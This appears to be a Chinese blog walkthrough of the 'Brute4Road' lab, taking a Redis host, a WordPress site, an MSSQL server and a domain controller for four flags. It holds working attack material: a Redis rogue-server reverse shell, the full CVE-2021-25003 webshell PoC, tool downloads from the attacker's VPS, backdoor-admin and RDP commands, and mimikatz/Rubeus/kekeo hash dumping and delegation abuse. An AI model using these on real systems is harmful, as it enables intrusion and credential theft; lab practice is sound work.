fffffilm's learning

春秋云镜-Brute4Road

  1. 春秋云镜-Brute4Road
    1. flag01
    2. flag02
    3. flag03
    4. flag04

靶场练习

春秋云镜-Brute4Road

flag01

fscan开扫

1
2
3
4
5
6
7
8
9
10
11
start infoscan
39.99.233.253:80 open
39.99.233.253:22 open
39.99.233.253:6379 open
39.99.233.253:21 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://39.99.233.253      code:200 len:4833   title:Welcome to CentOS
[+] ftp 39.99.233.253:21:anonymous
   [->]pub
[+] Redis 39.99.233.253:6379 unauthorized file:/usr/local/redis/db/dump.rdb

发现redis未授权。尝试过后发现能打redis主从复制。环境好容易崩，心累。

1
python3 redis-rogue-server.py --rhost 47.92.212.201 --lhost 156.238.233.55

image-20240831151541135

反弹上去后发现存在suid权限的命令。（发现ip变了是正常的，因为环境总打坏掉，所以开了很多次靶机。

image-20240831151307400

1
base64 '/home/redis/flag/flag01'

image-20240831183648578

flag01: flag{7da2e394-ecd8-49a5-b29e-35f03d0e6a3f}

flag02

查看网络连接状况发现内网网段

1
netstat -ano

ip懒得遮了。

image-20240831151912687

在vps上开个web服务，受害主机下载fscan,以及代理软件

1
python3 -m http.server 2333
1
2
wget http://156.238.55:2333/fscan
wget http://156.238.233.55:2333/agent_linux_x64

image-20240831155418115

1
./fscan -h 172.22.2.7/24 -o fffffilm.txt

扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
172.22.2.3:88 open
172.22.2.16:1433 open
172.22.2.34:139 open
172.22.2.16:139 open
172.22.2.34:135 open
172.22.2.3:139 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open       
172.22.2.7:6379 open
172.22.2.16:445 open
172.22.2.18:445 open
172.22.2.34:445 open
172.22.2.3:445 open
172.22.2.18:139 open
[*] NetInfo 
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] NetInfo 
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] NetInfo 
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01             
[*] OsInfo 172.22.2.3   (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[+] ftp 172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点

整理一下目标与思路

1
2
3
4
5
172.22.2.7  完成
172.22.2.18 WordPress站点
172.22.2.3  DC
172.22.2.16 MSSQLSERVER 
172.22.2.34 远程桌面服务未启用 NLA 的主机

发现一个wordpress，先wpscan扫一下

1
proxychains wpscan --url http://172.22.2.18

扫出来一个这个

image-20240831160002164

利用WordPress WPCargo Track CVE-2021-25003写木马

官方POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import binascii
import requests
 
# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
 
def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')
 
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
 
destination_url = 'http://172.22.2.18/'
cmd = 'ls'
 
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)
 
# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

成功执行命令。

1
proxychains python3 poc.py

image-20240831160111142

蚁剑连一下。

image-20240831160432751

发现了数据库配置信息。

image-20240831160459595

数据库里面找到flag02

image-20240831160619645

flag02：flag{c757e423-eb44-459c-9c63-7625009910d8}

flag03

数据库里面发现大量密码

image-20240831161712343

导出为一个字典。MSSQLSERVER的1433端口是开发的，我们对它进行爆破。

1
.\fscan -h 172.22.16 -m mssql -pwdf password.txt -userf user.txt

image-20240831173812363

用mdut拿到低权限。

image-20240831172353068

土豆提权。

1
C:/Users/Public/SweetPotato.exe -a "whoami"

image-20240831172909078

加个用户进去

1
2
3
net user fffffilm Password@973 /add
net localgroup administrators fffffilm /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

远程连接读取flag

image-20240831173200903

flag03: flag{86d41af7-8da6-4905-bda8-06c06dca3a90}

flag04

发现域环境

image-20240831182652722

本来想上一个BloodHound收集信息的，但是一开始下的版本有点问题，跑不出结果，后来想尝试的时候。环境又出问题了，再打一遍好累啊，等下一次有好一点的环境再尝试吧。这里偷了两张hony师傅的图

MSSQLSERVER.XIAORANG.LAB 具有对计算机 DC.XIAORANG.LAB 的约束委派权限

8cf25f8d6ded0176

65ce38d32c4c0fa1

抓取哈希

1
2
privilege::debug
sekurlsa::logonpasswords

找到这个

image-20240831194405396

1
2
3
4
5
6
msv :
        [00000003] Primary
        * Username : MSSQLSERVER$
        * Domain   : XIAORANG
        * NTLM     : cea3e66a2715c71423e7d3f0ff6cd352
        * SHA1     : 6de4e8f192569bbc44ae94f273870635ae878094

一开始想用Rubeus打的，但是跑的时候说.net版本不对，就直接换了一个方法了。

1
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:cea3e66a2715c71423e7d3f0ff6cd352 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

法二

用mimikatz导出MSSQLSERVER的票据 

1
2
privilege::debug
sekurlsa::tickets /export

image-20240831195338145

接着用kekeo请求服务票据

1
tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@XIAORANG.LAB /service:cifs/DC.XIAORANG.LAB

image-20240831195528693

打ptt票据传递

1
mimikatz.exe "kerberos::ptt TGS_Administrator@XIAORANG.LAB@XIAORANG.LAB_cifs~DC.XIAORANG.LAB@XIAORANG.LAB.kirbi" "exit"

读取flag

1
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

image-20240831195734289

flag04: flag{fe128b9c-f5ab-4fab-8629-676341a5d925}

渗透